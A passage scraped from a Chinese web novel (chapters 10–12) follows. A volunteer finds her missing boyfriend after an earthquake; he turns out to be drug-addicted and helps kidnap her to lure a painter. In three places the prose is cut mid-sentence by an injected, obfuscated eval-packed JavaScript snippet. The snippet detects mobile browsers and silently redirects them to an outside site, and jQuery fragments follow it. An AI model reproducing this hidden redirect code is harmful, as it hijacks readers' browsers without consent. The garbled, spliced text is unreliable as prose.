看她这副手足无措的模样,廖书言有心逗逗她:“喜欢偷拍人,还是觉得偷拍被发现了,我不会拿你怎样?” 赵嘉儿理直气壮地道:“我才没有偷拍人的癖好,那些人都是我认为最好的风景。至于廖老师……我也没有偷拍,是光明正大地拍。” 见廖书言含笑地看着她,没有丝毫责怪的意思,她又道:“廖老师挺上镜,应该多拍拍照,不然,您家里人给您介绍相亲对象,发过去的照片还是小时候的旧照片。” 廖书言目光沉了沉,低声道:“对着镜头,我不会笑。” 赵嘉儿道:“多拍照,自然就会笑了。” 廖书言笑问:“我以后拍照,找你?” 赵嘉儿爽快点头:“行!” 话音才落,兜里的电话响起,是池勉。 赵嘉儿向廖书言吐了吐舌尖:“池小勉……我先接个电话,廖老师。” 廖书言点头,赵嘉儿便转过身背对着他接通了电话。 不等赵嘉儿开口向电话那头的池勉汇报这一天的情况,池勉便低低地说了一句:“嘉儿,我找到嘉清了。” 10. 第10章 滇中行(4) 鲁甸地震过后,池勉和报社的两名同事与第一批救援队伍几乎是同时赶到了灾区,搜索救援工作日夜不停地开展着,一具具尸体被挖出,完整或不完整,都像是幻灯片在脑海里一遍又一遍地回放着。 侥幸活着的人,手脚健全是上天眷顾,那些不得不锯掉手脚的人,池勉害怕看到他们的眼睛。 初来,这里没有信号,他为了在第一时间将那些生与死的瞬间记录下来,在废墟上一蹲便是半天。晚上,他又借着机器的探明灯连夜赶稿。 幸存者,他采访时,不会触及他不愿面对的现实。 他要让那些存活下来的人们,看到希望,看到未来。 如他一般,在经历大灾大难后,在世人的宽容关爱下,坚强地活了下来。 六年前,他的家乡也因一场突如其来的地震,毁了。 那一年,他没了家。 可是,他活了下来。 看到陆嘉清被救援人员从废墟堆下艰难地挖出来后,他没认出来,只是在医护人员对昏昏沉沉的人进行施救时,他总是听到他嘴里念着一个人的名字。 “嘉儿……” 是他熟悉到骨子里的名字,他不会听错。 陆嘉清失踪了两年,大灾过后再遇,他不再是大学里意气风发的佼佼学子。曾经身强体健的阳光少年竟变得瘦骨嶙峋,即便是昏睡着,也透着消沉。 护士为陆嘉清输液时,池勉寸步不离,想要将这一喜讯迅速告诉赵嘉儿。 他拿出手机还未拨出号码,医治陆嘉清的护士便问道:“他是你朋友么?” 池勉连忙点头:“是!” 护士皱眉,忧心忡忡地道:“刚才对他的血液做了检测,这边检测到,他体内被注射了多种有毒成分,我怀疑他有毒瘾,而且对那些毒品有很大的依赖性。先生若是受难者朋友,这边建议您带他去市医院做检查。” “毒品?”池勉震惊不已,“确定?” 护士笃定地点头,嘱咐了池勉几句话,又忙着为其他幸存者治疗。 池勉坐在一旁守着渐渐安睡的陆嘉清,懊恼地抱头:“嘉清,这两年你到底经历了什么?” 原本要拨给赵嘉儿的电话,池勉却有些犹豫,该怎么跟她说明陆嘉清的情况。 赵嘉儿翻过一座座废墟,终于见到了池勉电话里提到的3号临时医疗站。在一片闪烁的探照灯下,她迫不及待地冲向了站在医疗站外的池勉身边,喘着气问道:“嘉清呢?” 池勉见她白色运动鞋上沾满了泥土,向她身后看了看:“一个人过来的?” 赵嘉儿点头:“前半夜本来是我守夜,廖老师替我守着了。” 在电话里,池勉并没有将陆嘉清的情况细说,赵嘉儿也没有细问,便急匆匆地赶了过来。她一见陆嘉清瘦骨嶙峋的样子,忍了一路的泪水终于决堤而下。 这里多是幸存下来的灾民,哭声、哀嚎声此起彼伏,医护人员耐心温柔地劝慰着。因此,赵嘉儿这一哭,众人也不以为意,池勉并未上前安慰。 赵嘉儿找了陆嘉清两年,在这种情况下见面,她需要哭出来。 即便是他,看到陆嘉清这个样子,心里也难受,眼眶已经泛红。 赵嘉儿慢慢止住哭声,伸手去摸陆嘉清没有输液的左手,衔着泪笑道:“我就知道你会回来的。” 护士过来给陆嘉清换输液瓶时,赵嘉儿礼貌地问了一句:“护士姐姐,他什么时候能醒?” 护士道:“他身体很虚弱,全靠一股求生意识撑到了现在,过了今晚再看看。这边医疗条件有限,你们最好还是送他去市医院。决定了的话,这边安排医疗队的车送他回市区。” 赵嘉儿一听,脸色便黯淡了下来;池勉在一旁答道:“我们决定了,送他回市区治疗。” “池小勉,你不是得赶稿子么?嘉清有我守着就行了。” 池勉瞧赵嘉儿情绪不高,细声安慰道:“好歹是捡回了一条命,你开心些!等他醒了,你再好好审问审问他。不过,这小子昏迷前嘴里还念着你呢!” 赵嘉儿听他打趣自己,瞋他一眼:“你呀!赶紧回去赶稿子吧!” “那好!我就不当电灯泡了!” 赵嘉儿在陆嘉清身边守到下半夜,想到明早要陪同着他去往市区,便回到了志愿者的救济棚。 她本以为这个时候是苏杭在守夜,可近了跟前,救济棚前坐着的人依旧是廖书言。 廖书言正抱着画板细细勾勒着夜空下的灾区,并未留意到赵嘉儿的靠近,直到眼前落下一重阴影,他才抬起了头。 赵嘉儿挠挠头:“廖老师,您还没睡啊?” “睡不着,”廖书言收起画板,从塑胶凳上起身,一双眼又黑又沉,“嘉清怎么样?” 不知为何,在见过陆嘉清后,再面对廖书言,她有些手足无措,双眼只能死死地盯着他手中的画板。她双手交握藏于身后,右脚脚尖轻轻点着地面,垂着脑袋道:“还昏睡着。医生说要送他回市区治疗,我……我回来拿行李,也跟苏队长说明一下情况。” “是回昆明?”廖书言瞅着她,轻声问。 赵嘉儿点头,似乎料到廖书言会说什么,她抬头急急地道:“是跟着医疗队的车回昆明,廖老师不用担心!我一个人没问题的!” 廖书言心中一凉,却还是保持着微笑:“明天家姐会过来云南,我正好要回一趟昆明去接她。我跟你们一块儿回去,之后便不会打扰你了。” 赵嘉儿心口一堵,眼眶有些热,闷闷地应了一声:“哦。” “我想去看看嘉清,可以么?”廖书言看着赵嘉儿闷着脑袋向救济棚走去,在她身后询问了一句。 赵嘉儿顿住脚步,回身笑道:“当然可以!” 赵嘉儿向苏杭说明了自己的打算,已经做好了挨骂的准备,可苏杭只是冷冷地嘲笑了一声,便对她不理不睬了。 整理好行李离开救济棚时,她听到苏杭在她身后半是嘲讽半是无奈地感叹着:“城里来的姑娘哟,早点回家吧!” 赵嘉儿纵然心里有些委屈,也无言为自己申辩。 旁人不明白陆嘉清在她心里的地位,也不明白她为了寻找陆嘉清受了多少冷眼嘲笑。如今,好不容易在灾难中见到奄奄一息的他,她没有办法做到舍小家顾大家。 不能亲眼看到陆嘉清醒来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227868|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她也没法安心去做事。 身边走过军人、护士、志愿者……这些人的敬业精神令她感动,也令她羞愧。 在崎岖不平的废墟里行走,她紧紧握着两肩的背包带,低声对跟在身后的廖书言说道:“等嘉清醒过来不需要照顾后,我会再回来。” 廖书言道:“不用在意旁人怎么看你,你跟着自己的心走就好。换位思考,若是他们的亲友也遭了难,他们也会选择陪在亲友身边。我们不是圣人,顾不了许多人的生死,但求问心无愧而已。” 赵嘉儿道:“这一趟出门,我见识了不同的人和事,也学到了很多。当然,我自己身上真的有很多毛病,廖老师不是也发现了么?我娇气,没主见,依赖性大,还挑食……” 廖书言听她语气像是与谁斗气斗狠一般,不由笑出了声。 赵嘉儿跳到平地上,转身,认真地看着廖书言:“廖老师别笑,我是认真的!” 廖书言走到她身边,嘴角仍带着笑:“要我说,你比谁都有主见,也很勇敢。知道自己喜欢什么,想要什么,并为之努力坚持,这是很多人都欠缺的勇气,不满家里安排的相亲而离家出走,为了朋友,敢来这么危险的地方……这些很多人比不上你。” 赵嘉儿听他将自己头脑一热做出的决定也能夸成这样,有些难以置信:“廖老师不愧是老师,舌灿莲花。” 廖书言道:“我只是就事论事。不过,你确实有些娇气,最大的毛病便是挑食。” 赵嘉儿仿若被人抓住了小辫子,满脸不高兴,怼了一句:“廖老师原来也很啰嗦,爱说教。” 廖书言沉声道:“我轻易不对人说教。要是你不爱听,我向你说声抱歉。” 赵嘉儿忙道:“没事!我都已经习惯了!在家总是被姐姐嫌弃,池小勉也常常骂我呢!廖老师可比他们好多了,至少他们不赞同我的行为,您却能夸我,即使是为了安慰我。” “我不是安慰你,”廖书言笑道,“你是真的很好,只是没人理解你。” 赵嘉儿深受触动,一句“没人理解你”让她感动得想哭,却又怕这份不自在的心绪扰乱了她的思维。 她扬起笑脸,诚心诚意地回了一句:“廖老师也很好啊!所以啊,一定有更好的姑娘在等着您!” 廖书言苦笑不已,踩着碎石爬上前方泥泞湿滑的缓坡,又蹲下身向艰难往上爬的赵嘉儿递出右手。 赵嘉儿略微犹豫了一下,便将手放入了他的掌心。 这是第一次被他紧紧地握着手。大画家的手微微有些汗,她的手完全被他的大手包裹,仿佛被一团又湿又热的丝绸包裹着,又软又滑。拇指与食指的虎口处,许是因常年握笔画画的缘故,有一层厚厚的茧,磨得她的手指又痒又麻。 赵嘉儿浑身一阵热意,红晕从脸颊爬到脖颈,烫得她不敢抬头看人。 这一瞬间,她仿佛觉得自己变心了。 陆嘉清还在昏睡,而她,却贪恋与廖书言独处的时光。 这样的自己,让她痛恨。 爬上缓坡,她匆匆道了一声谢,便落荒而逃了。 廖书言不解,沿着她留下的脚印,缓缓地跟了上去。 11. 第11章 难中情(1) “廖老师,路上,嘉儿与嘉清就麻烦您照顾了。”车子启动前,池勉对正要上车的廖书言笑着请求着。 池勉回到忙碌的救援现场,便开始协助救援人员开展施救工作。各大新闻媒体在现场录制着一幕幕感人的事迹,池勉不禁又想起了家乡遇难的情景。 相似的场景,不禁让他感慨万千。 中午休息期间,池勉回到搭建的帐篷里,从自己的背包里拿出笔和白纸,正要去救援现场记录,一同前来的一名男同事惊慌失措地向他奔来。 “池老哥,不得了!大新闻!地下发现了毒品!” 池勉浑身一震,拽着男同事的胳膊就跑:“快带我去!” 路上,他又问道:“说说是怎么回事?” 男同事气喘吁吁地道:“毒品是在一户四口之家塌掉的平房里发现的,一家人没有活口,两个孩子和母亲脖子上都有掐痕,应该是被父亲活活掐死的,父亲是撞破了脑袋……医生检验过了,父亲体内残留着LSD成分……” 池勉脚下不停,皱眉问道:“致幻剂?” 男同事在前边带路,边走边说:“是的。从他家里搜到了一份病历,父亲有精神病史,这些致幻剂毒品应该也是被父亲偷偷地藏在了家里的地窖里。” 池勉突然想到了陆嘉清,心中有丝不好的预感。他总觉得陆嘉清失踪两年,又突然出现在受灾地区太过突然。 更可疑的是,陆嘉清竟然会吸毒。 池勉察觉到里面的事情不简单,连忙掏出手机给赵嘉儿拨了一通电话过去。 赵嘉儿很快接通了电话,池勉急不可耐地问道:“嘉清醒了没有?” “醒过来一次,”赵嘉儿的声音很轻,“嘉清的情绪很不稳定,没认出我,我……医生给他注射了镇定剂,这会儿又睡过去了。” “你一个人在医院守着他?廖老师还在么?” 赵嘉儿有些意外他会提到廖书言,看了看病床上安然入睡的陆嘉清,出了病房:“廖老师帮忙将嘉清送到医院,办理好相应手续后,就离开了——你找他?” 池勉点头:“你有他手机号码吧?给我发过来!” 赵嘉儿迟疑着:“可是……” “生死攸关的大事!”池勉急得抓耳挠腮,语气急切,“我又不会去骚扰他,你还不愿给啊!嘉儿,快点给我!” 赵嘉儿瘪了瘪嘴,妥协道:“那我给你发过去。不过,你可得跟廖老师讲清楚情况,不然,廖老师一定认为我随意泄露他的隐私。” “还隐私?”池勉笑道,“那么关心人家干什么?赶紧发过来!” 廖书眉穿着白色过膝长裙,踩着白色高跟凉鞋,头顶戴着宽边遮阳帽,拿着名贵的手提包,出了机场便见到了站在白色宝马车前的廖书言。 廖书言穿着正式,西装、领带、皮鞋恁是被他穿出了一身尊贵范。 廖书眉向他小跑几步,张开双臂抱了抱他,又上上下下地笑着打量他,拧着眉头责问道:“你说说你有多久没回家看姐姐了?” 廖书言理亏,打开车门,躬身将她请进了副驾驶上坐下。 车里有茉莉的清香,廖书眉使劲嗅了一口,在廖书言坐上来之际,不无嫌弃地道:“租来的车?要不是你在车里喷了我喜欢的茉莉香,打死我也不坐上来。” “出门在外,将就一些,”廖书言将车倒出车位,打了打方向盘,“先去酒店,还是餐厅?” 廖书眉道:“你姐夫晚上到,等他到了再去餐厅。我困死了,酒店远不远啊?” “不远,我来昆明的第一晚,也是住在那里。” 廖书眉没注意他眼中的光彩,强打起精神,道:“按照你的吩咐,给灾区的捐款是以我的名义发出的。你姐夫公司发起的捐赠活动的资金还未到账,他怕数额小,被人嘲笑,还想你从中出一份力呢。” 廖书言的手指敲打着方向盘,叹一口气:“十万。” 廖书眉不屑一笑:“依我看,你就不该给他一分钱。你得把钱存着娶老婆,给他做什么?” “我不是给他,”廖书言神情严肃,“是给灾区的难民。他若是私下里独吞了这笔钱,我也不会像从前那样纵容他了。” “傻小子终于长了心眼了!”廖书眉似松了一口气,脑袋向后仰了仰,“对了,给你介绍的相亲对象,她姐姐说她也到了云南,跟你同一天到的昆明,有没有见到啊?” 廖书言握着方向盘的手指紧了紧,抿着嘴,没有回话。 廖书眉也没去看他,自顾自地说着,话语里还带着一丝无可奈何的宠溺笑意:“听说啊,小姑娘是不想跟你相亲,一个人跑了出来。你看看你,人家都还没见过你,就被你吓跑了,你是有多不受女孩子待见啊?” 廖书言想到医院里的赵嘉儿与陆嘉清,心口一窒,无奈地叹息着:“你也别再给我安排相亲对象了。” 廖书眉坐正身子,斩钉截铁地道:“除非你将人家小姑娘给追回来,或者找一个我中意的姑娘,否则,免谈!” 廖书言心力交瘁地问道:“我找对象,还是你找对象?” 廖书眉见他似乎动了气,耸了耸肩,笑着嘲讽了一句:“那你倒是找个对象啊!” 廖书言心里烦闷,沉默着将车开往了云来大酒店。 酒店的门迎迎上来,廖书言便将车钥匙交到他手中,由着门迎将车开进了地下停车场。 在电梯内,有陌生电话打进来,显示的是杭州的区域,他想了想,还是挂断了。 廖书眉斜着眼睛瞅着他,又是一番嘲讽:“心情不好,连电话也不接了?” 廖书言简短地回了一句:“不认识。” 才走出电梯,那串电话号码又打了进来,廖书眉在一旁笑道:“你还是接吧。” 廖书言将房卡交到她手中:“706,我在隔壁708。” 说着,他便朝酒店的走廊尽头走去,站在窗边。 窗口下正对着酒店的露天泳池。天气微凉,泳池里并没有人,只是池边的藤编桌椅旁三三两两坐了一些人。 廖书言心不在焉地接通了电话:“您好,哪位?” “廖老师,我是嘉儿的朋友,池勉。” 廖书言记得这个名字,也能记起他的样子。 似乎与赵嘉儿有关的人和事,都能令他打起精神,认真对待。 他将从廖书眉那儿受到的气收起,笑着对电话那头讲道:“我记得你。有什么事么?” “确实是想麻烦您一件事。”电话里,池勉语气诚恳又急切,将陆嘉清的情况与心中的顾虑认认真真地对廖书言说了一遍。 廖书言有些吃惊:“嘉清有毒瘾?” 池勉的声音有些颓靡:“是的,我没敢跟嘉儿说,怕她接受不了。但是,这事瞒不了她多久,医院的检查结果出来后,嘉儿会在第一时间知道这件事。我现在担心的不是这个,是我刚才跟您分析的情况。” “你怀疑嘉清跟边境贩毒事件有关?” “即使无关,他有毒瘾是千真万确的事。这两年,谁也不知道他身上发生了什么,”池勉道,“嘉儿说嘉清醒过来一次,情绪不稳定,我怕嘉儿受到伤害……我在灾区走不开,所以只能请您……” “我明白了,”廖书言顿了顿,又道,“谢谢你。” 池勉却有些不明白他为什么要向自己道谢。 陆嘉清再次醒来时,情绪平复了很多,见到守在床边的赵嘉儿,他的情绪又有些激动,抬手去摸她的脸。 摸得到。 “嘉儿?”陆嘉清艰难起身,突然抱着她的手臂,埋头哭泣。 赵嘉儿见他认出了自己,眼眶一红,伸手去抱他: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227869|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嘉清,是我。你认得我了?” 陆嘉清却突然抬起头,阴狠地盯着她,吓得她浑身一缩:“嘉清?” “你为什么会在这里?”陆嘉清死死拽着她的手腕,“谁让你来见我的?” “嘉清,你在说什么?”赵嘉儿有些害怕,手腕又被他拽得生疼,只能怯生生地看着他。 眼前的陆嘉清,阴狠冷漠,不是她认识的陆嘉清。 她害怕这样的陆嘉清。 那陌生的眼神,似乎是想将她生吞活剥一样。 而陆嘉清毕竟还有些虚弱,发了一次狠,浑身无力地躺了回去,目光无神地盯着白花花的墙壁。 “嘉儿,你离我远点,”他的声音突然低了下来,带着一丝恳求,“我是毒瘤,会害了你,你离我远点。” 赵嘉儿试探性地上前,咬牙道:“嘉清,这两年你到底去了哪里?医生说你对毒品有依赖性,这是什么意思?” 陆嘉清扭头,似笑非笑地看着她:“我有两年的毒龄了,戒不掉了,我还干过许多坏事,这样,你还会喜欢我么?” 赵嘉儿不知道怎么回答,只回了一句:“我找了你两年。” “可是,你见到我并不高兴啊!”陆嘉清笑道,“你以前与我在一起时,眼睛里有光,现在却不敢靠近我。我变成这样了,你又怎么会像从前一样对我?” 赵嘉儿试着去牵他的手,可在触到他突然看过来的深不可测的眼神时,又缩回了手,低头道:“你一定饿了,我出去给你买吃的。” 病房里的诡异气氛让赵嘉儿觉得压抑,她急急地出了病房,靠在病房门前抬头深呼了一口气,将滑出眼角的泪擦去,才迈开沉重的步子朝医院外的一条街道走去。 在水果摊位前驻足许久,看着各色新鲜可口的水果,她挑了雪梨和香蕉。 她始终记得,雪梨和香蕉,是陆嘉清最爱吃的水果。 赵嘉儿拎着两袋水果正往医院门口走,挂在胸前的手机不停地震动,她空出右手去接手机,轻轻应道:“廖老师。” “我在医院楼下,”廖书言在人满为患的医院门口寻了一个地儿站着,顿了顿,细声问了一句,“你还好么?” 赵嘉儿心里正因陆嘉清的变化而难受,被廖书言这样一问,心口一热,笑着回了一句:“我很好啊!” 她在医院大门处张望着,却看不到廖书言的身影,便对电话那头问道:“廖老师,我在医院大门这里,您在哪儿?” 廖书言早已在人群外看到她焦急四顾的身影,不禁笑道:“你向后退两步,往右边看。” 赵嘉儿乖乖照做,果真在医院大楼处的花坛边见到了西装革履的人。 她眼里似乎瞬间有了光芒,脚步已不由自主地向他跑了过去。 “廖老师,您怎么来了?” 廖书言笑道:“受人所托,来看看你,还有嘉清。” 赵嘉儿疑惑地拧眉:“谁呀?” 廖书言见她这副模样,微微俯下身子,伸出手指点了点她的额头:“你不经我同意,擅自将我的私人号码给了谁?” “我……”赵嘉儿语塞,抬脚踢着脚边的小草,“池小勉那个时候很急,我怕他是有什么急事找您,才……对不起……” “没有怪你,”廖书言心疼她这副模样,轻声道,“我是受你朋友之托来见你,不会见怪吧?” “不会,”赵嘉儿道,“嘉清醒过来了,廖老师也算是他的老师,他一定很高兴见到您。” 廖书言听她语气低沉,问道:“怎么了?” 赵嘉儿慌张地摇头:“廖老师跟我上楼吧。” 两人不知,医院大门处的花坛,正对着陆嘉清所在的那一排病房的窗口。 陆嘉清站在窗口,看到赵嘉儿与他似曾相识的男子那样亲密的交谈,心里冒出一股妒火。 12. 第12章 难中情(2) 陆嘉清还记得第一次跟着父亲参加画展时,他还小,看不懂画展里的作品。然而,在众多大师的作品中,他独独被挂在墙上的一幅红色丹顶鹤迷住了。 三尺斗方的画轴上,上灰下白。灰是灰蒙蒙的天空,白是白莹莹的雪地,在这一方孤寂苍茫的天地间,只有一只独脚红鹤敛着翅膀、缩着头,独自憩息。 他在这幅画旁停留的时间长了,展厅内的工作人员便上前细心温柔地向他解释着这幅画的创作者与画中寓意。 天是天堂,地是地狱,天是灰的,地是白的。 但是,整幅画倒过来看,天又变成白的,地又变成灰的,红鹤依旧是敛着翅膀、缩着头。 至今,他都记得那幅画的名字——《人间》。 记得那幅画的创作者——三口。 父亲说,三人从众,三口乃众生。 他至今也想不明白,那个时候的三口老师也不过十七八岁,怎么会有那样孤寂又特立独行的想法。 现在再回想,那幅画的笔法还十分稚嫩,却能被选上,与众多大师的作品陈列在一起。 梦想,就是那个时候生根发芽。 然而,这个小小的梦想,因父母意见相左,他连开口的机会也没有。 父亲希望他入警校,走上父亲的老路;母亲只想他这辈子安安稳稳地过下去,像她一样教书育人。他一气之下,胡乱填了一所学校,胡乱选了一个专业。 异地他乡,他遇见了合得来的知心朋友,还有放在心尖上的女孩。 最大的惊喜却是他见到了三口老师本人,心中熄灭的火苗腾地燃了起来,也不再管什么面子,当场跪地请求三口老师收他入门。 三口老师私下并不收徒,也许是被他的一颗诚心打动,答应免费教他两年。 他受宠若惊,从此,对三口老师的崇敬之意更深。 可是,他的家庭,他的梦想,在两年前,毁得一干二净。 一夕之间,他失去了所有。 他也不再是从前的陆嘉清了。 无法去面对昔日的女友和老师。 知道与赵嘉儿交谈甚欢的人是他昔日敬爱的三口老师,胸中的那股妒火反而熄了。 他都这副鬼样子了,还有什么资格去吃醋? 赵嘉儿坐在一旁削着梨,时不时瞟一眼病床边相谈的师生,眼中有些疑惑。 陆嘉清在廖书言面前,仿佛变回了听话的乖学生,身上的戾气都收敛了。 正是她熟悉的陆嘉清。 将削好的雪梨递到陆嘉清手边,陆嘉清不接,只是淡漠地向她抬了抬下巴:“给老师吃。” 赵嘉儿心里一阵失落,僵硬地将雪梨递到廖书言面前:“廖老师……” 廖书言笑着接了过来:“谢谢。” 赵嘉儿又回到一旁坐下,继续机械地削梨,心里总觉得闷得慌。 她能察觉到,陆嘉清是有意在冷落疏远她,故意对她冷言冷语。她即使能明白他这么做的理由,心里就是接受不了。 陆嘉清闭口不谈这两年的事,廖书言也不好追问,在护士过来替陆嘉清输液的间隙,他低头看了看手机,起身走到站在窗边摆弄手机的赵嘉儿身边,轻声道:“嘉儿,我姐夫到了昆明,家姐催我过去用餐,我先走了……晚上再过来。” 赵嘉儿反应过来之际,还有些震惊。 她没想到廖书言晚上还会过来! 廖书言回到病床边,又将对赵嘉儿说的话,对陆嘉清说了一遍。 廖书言和护士小姐相继离开,赵嘉儿又觉得病房内变得十分压抑。 她说不清这种感觉,但是,陆嘉清单独面对她时,给她的感觉很陌生,让她觉得害怕。 她双手紧紧握着手机慢慢走到床边,轻唤一声:“嘉清。” 陆嘉清偏过脑袋闭上眼睛,十分冷淡地说道:“我累了,暂时不要打扰我。还有,自己下去吃饭吧,我没胃口,不用为我带了。” “哦,”赵嘉儿轻轻应了一声,“我找个护工帮忙照顾你。” 医院的走廊几乎被幸存下来的难民填满,赵嘉儿在拥挤的电梯门口等了好几趟电梯,总是满员,她只能挤过人群,选择走楼梯。 她本不想走太远,可是看到医院食堂里拥挤不堪的场景,还是选择在附近的餐馆里解决晚饭。 她找了一家门庭冷清的粤菜馆,点了一笼蒸饺和一碗靓仔海鲜粥,却味同嚼蜡。 猛然想起这段时间,陪她一起吃饭的都是廖书言。她会挑食,吃不习惯很多地方的菜色,可是,廖书言总能想方设法让她吃得饱饱的。 这两年,她只想找到陆嘉清,怎么也没想过,找到后会是这样的结果。 与廖书言短短几天的相处,她已经意识到,自己的心早已经偏了。 从前,一个人吃饭,她想的是陆嘉清;如今,想的却是廖书言。 对于她不爱吃的食物,陆嘉清会帮她吃掉;廖书言会耐心地哄着她自己吃掉,告诉她许多她从前没有想过的道理。 食物是她自己选择的,即使到最后发现不爱吃,也要尝试着去接受。也许,她会慢慢喜欢那样的味道。 赵嘉儿一小口一小口地喝粥,没有留意到柜台边一直盯着她看的女老板,只是觉得这家店的生意太冷清了。从她进来之后,就没有其他的客人了。 她心里突然升起了一股不安,忐忑不安地拿起桌上的手机,打开电话簿,翻到“廖老师”那一栏时,她犹豫了一下。 高层的餐厅里,一首舒缓的《KisstheRain》在钢琴手的十指下演绎,有雨滴落在透明的玻璃窗上,留下一行行凌乱的印记。 廖书言对面坐着一身白裙的廖书眉和一位戴着眼镜的斯文青年,两人脸带微笑地交谈着,好似一对恩爱非常的夫妻。 廖书言无心这一场聚餐,菜还没上桌,他只是侧头盯着玻璃窗外细细的雨丝。 餐厅内,灯火温暖,窗外的天空却阴沉沉的。 他正挂念着医院里的赵嘉儿,对面的廖书眉突然望向他,说道:“天气预报说,这两天有暴雨,灾区那边会有危险,我们先不要贸然进去,等过了这阵子再说。” 坐在她身边的青年向云河也点头附和道:“拨给灾区的款已经到账了,那些赈灾物资最快也是明天上午到,就交给本地红十字会,我们等暴雨过去再进灾区。” 廖书言对此并没有发表任何意见,赵嘉儿电话打进来时,他还没有反应过来。 印象中,除去酒店那一回,这好像是她第一次主动给他打电话。 “菜还没有上来,你先接电话。”向云河善解人意地看着他。 廖书言起身走到偌大的玻璃窗前,街上车水马龙,大有风雨欲满楼的趋势,电话里却静悄悄的。 他不由心里一阵慌乱,轻唤:“嘉儿?” 电话那头有呼吸声在他耳边环绕,但是,那不是她的呼吸声。 他心里更慌了,语气却格外得平静:“是谁?” “老师,是我。” “嘉清?” 粤菜馆里门窗紧闭,没有灯,陆嘉清懒懒地靠坐在收银台前,在黑暗中,点上了一支烟。他低声说着:“嘉儿出门没带手机,天快黑了,也不见她回来,我出去找了一圈也没找着人……就在刚才有一通电话打了进来,电话里的人说,嘉儿被他们绑了,要钱赎人。老师,我不知道该怎么办,才不得已找了您……” 窗外电闪雷鸣,豆大的雨滴如碎石乱玉敲打着玻璃窗。 廖书言听到陆嘉清似乎在哭,沉声道:“我马上过去医院。” 他快步走回到餐桌前,拿起椅背上的西装穿上,边穿边说:“有事离开,你们吃,自己打车回酒店。” 廖书眉见他神情急切,有些担心,起身追着他疾行的背影问道:“有什么事不能吃完饭再解决么?” 廖书言没回答她,她又追到楼道口嘱咐道:“下雨开车当心点!” 廖书眉忧心忡忡地回到餐桌前,已经没有用餐的心情。向云河切了一块牛排送到她的餐盘里,笑道:“这么急着离开,电话那头多半是他喜欢的姑娘。” 廖书眉冷哼一声:“他哪里来的喜欢的姑娘?要是有的话,还用得着我替他找对象么?” “你怎么就知道没有呢?”向云河笑道,“年轻人,就爱瞒着家人处对象,不用听家人说三道四的。” 廖书眉半信半疑,拧着秀眉道:“下这么大的雨,天也要黑了,连饭也不吃了,急着去见哪个姑娘?” 陆嘉清挂断电话后,菜馆的灯适时地亮了起来,光影打在他脸上,有些阴森。 赵嘉儿就坐在收银台对面的椅子上,双手双脚皆被黄色胶带缠住,嘴巴也被胶带封住,发不出声音。 在她身后制止她挣扎、出声的正是粤菜馆里的女老板黄玲。 陆嘉清漫不经心地转动着赵嘉儿的手机,无视她眼中的震惊与愤怒,依旧笑着说道:“我早就说过要你离我远点,我是做过很多坏事的人。只是,我没想到三口老师竟然那么在意你,一听说你出事了,什么都不问就赶过来了……” 赵嘉儿拼命挣扎着,她身后的黄玲忽然扇了她一巴掌:“给我老实点!” 这一巴掌扇懵了赵嘉儿,也让陆嘉清有些意外。他猛地从椅子上弹起,目光阴冷地盯着黄玲:“谁让你动手打她的?” “心疼啊?”黄玲冷笑道,“心疼就不要拿她做饵呀!上头交代过了,廖书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227870|151286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言的钱得要,命也得要,今天就要让廖书言死在这场老天降下的灾难里!” 赵嘉儿听得心惊肉跳,恐惧从脚底慢慢浮上心头。 “廖书言应该快过来了,你赶紧回医院。” 陆嘉清灭了烟头,不放心地看了赵嘉儿一眼,眼底有丝不明情绪涌动。他穿上黑色雨披,随手取过收银台上的手机,从菜馆的后门绕回了医院门口。 雨滴在明晃晃的灯光下溅起的水花如同水晶花一般,刺眼夺目。他在医院门口等了十来分钟,便见远处有一束灯光照了过来。 他猜到是廖书言的车灯,重新戴上雨帽,一头扎进了雨里。 他的脸上落了雨,在廖书言的车前停下,急切地敲打着车窗。 廖书言在黑夜下的雨雾里认出了他的脸,缓缓降下车窗,低声道:“先上车。” 陆嘉清脱下雨披,钻进副驾驶上,抹了一把脸上的雨水,自责不已:“都怪我,不该让嘉儿一个人出去。” 廖书言见他穿着医院的病号服,若有所思地瞅了他一眼,道:“先不说这个。嘉儿的手机呢?” 陆嘉清连忙将口袋里的手机掏出来,递给了他:“绑匪之前说半个小时后再打电话过来,算算时间,应该快了。” 廖书言正盯着赵嘉儿手机屏幕上的解锁密码犯愁,一丝疑惑涌上心头:“嘉儿的解锁密码是多少?” 陆嘉清很快便报出了一串六位数字,又不忘补充一句:“嘉儿虽然换了手机,锁屏密码还是没有变。” 廖书言解锁的手指顿了顿,并没有接话,只道:“你身上还有伤,回医院等消息。绑匪要的是钱,嘉儿也不会有事。” 